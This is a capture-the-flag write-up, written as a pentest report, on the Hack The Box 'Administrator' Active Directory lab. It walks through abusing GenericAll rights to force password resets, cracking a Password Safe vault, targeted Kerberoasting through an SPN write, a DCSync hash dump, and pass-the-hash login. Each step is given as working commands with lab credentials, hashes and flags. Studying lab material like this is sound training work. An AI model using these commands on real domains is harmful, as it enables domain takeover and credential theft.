

Offensive Security Assessment – Project Administrator (Active Directory / DCSYNC)

Parameter	Detail	
Project ID	SEC-RPT-AD-ADMIN-2025	
Classification	TLP:CLEAR / Public	
Client / Environment	ADMINISTRATOR.HTB Active Directory Domain	
Asset(s) in Scope	dc.administrator.htb (10.129.59.38 / 10.129.61.6)	
Assessment Type	Internal Penetration Test / Delegation and Access Control List (ACL) Audit	
Status	Critical Compromise Validated / Credential Extraction via DCSync	

2. Executive Summary

The offensive audit conducted on the ADMINISTRATOR.HTB domain controller (Windows Server 2022) confirmed severe structural failures in the principle of least privilege and object control delegation.

Starting from an initial corporate user account (Olivia), excessive full control permissions (GenericAll) were chained to force password resets via RPC on intermediate accounts (Michael and Benjamin). This exposed an anonymous FTP service with password manager backups (Password Safe), whose decrypted credentials (emily) allowed the injection of service principal names (GenericWrite over SPN) into the ethan account. This account held directory replication rights improperly delegated at the domain root (DCSync), enabling remote extraction of the Administrator's NT hash and absolute infrastructure takeover.

3. Findings and Impact Matrix

Vulnerability / Finding	Severity	CVSS v3.1	OWASP / CWE	MITRE ATT&CK Mapping
Improper Assignment of Replication Rights (DCSync)	Critical	9.8	CWE-250 / OWASP A01:2021	T1003.006 - OS Credential Dumping: DCSync

GenericAll Permission Chaining in Active Directory	High	7.5	CWE-732 / OWASP A04:2021	T1078.002 - Valid Accounts: Domain Accounts
GenericWrite Abuse for TargetedKerberoasting	High	7.5	CWE-732 / OWASP A01:2021	T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
Password Vault Storage on Insecure FTP Server	High	7.5	CWE-552 / OWASP A01:2021	T1552.001 - Unsecured Credentials: Credentials in Files

4. Technical Details and Proof of Concept (PoC)

4.1. GenericAll Rights Chaining and Password Safe Compromise

Starting from credentials Olivia:ichliebedich, relational mapping in BloodHound confirmed that Olivia held GenericAll permissions over Michael, who in turn held password change permissions over Benjamin. Password resets were forced via RPC:

```
net rpc password "Michael" "P@ssw0rd123!" -U
"administrator.htb/Olivia%ichliebedich" -S dc administrator.htb
net rpc password "Benjamin" "P@ssw0rd123!" -U
"administrator.htb/Michael%P@ssw0rd123!" -S dc administrator.htb
```

With Benjamin's credentials, the FTP service accessible on TCP port 21 was audited, locating and retrieving the key vault Backup.psaf3:

```
ftp 10.129.59.38
# Autenticación exitosa como Benjamin
ftp> get Backup.psaf3
```

Extraction of the master database hash and brute-force cracking were performed:

```
pwsafe2john Backup.psaf3 > psafe_hash.txt
john psafe_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Contraseña maestra recuperada: tekieromucho
```

Opening the database revealed operational credentials validated via SMB:

```
Entidad: emily
Contraseña: UXLCI5iETUsIBoFVTj8yQFKoHjXmb
```

- **Technical Impact:** Cascading compromise of multiple identities and mass leakage of departmental passwords.
- **Remediation & Hardening:** Remove GenericAll permissions between standard user accounts and restrict or decommission unencrypted protocols such as FTP on corporate servers.

4.2. SPN Injection via GenericWrite and Mass Exfiltration via DCSync

The emily user held GenericWrite permissions on the user account ethan. bloodyAD was used to inject a value into the servicePrincipalName attribute, priming the account for Kerberoasting attacks:

```
bloodyAD --host 10.129.59.197 -d administrator.htb -u 'emily' -p
'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' set object ethan servicePrincipalName -v
http/ethan.administrator.htb
```

A service ticket was requested and cryptographic material was cracked:

```
impacket-GetUserSPNs administrator.htb/emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb -
dc-ip 10.129.59.197 -request
hashcat -m 13100 -a 0 ethan_hash.txt /usr/share/wordlists/rockyou.txt
# Contraseña recuperada: limpbizkit
```

The ethan account held the extended rights DS-Replication-Get-Changes and DS-Replication-Get-Changes-All (DCSync) granted on the domain root. Comprehensive extraction of Active Directory secrets was performed:

```
impacket-secretsdump administrator.htb/ethan:limpbizkit@10.129.61.6
```

Representative output:

```
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d
2d2fd2e:::
```

Interactive access via Pass-the-Hash and validation artifacts retrieval:

```
evil-winrm -i 10.129.61.6 -u 'Administrator' -H
'3dc553ce4b9fd20bd016e098d2d2fd2e'
*Evil-WinRM* PS C:\Users\ethan\Desktop> type user.txt
```

d3b30141273a6f3385e39d4d179ba32a

Evil-WinRM PS C:\Users\Administrator\Desktop> type root.txt

f8176cf5bb6d3f7daaa1f5280d9a4f98

- **Technical Impact:** Complete exfiltration of identity database and NT hashes via unauthorized domain controller directory synchronization.
- **Remediation & Hardening:**
 1. Immediately revoke extended replication rights (DS-Replication-*) assigned to users outside the exclusive Domain Controllers group.
 2. Strictly restrict write permissions on sensitive attributes such as servicePrincipalName.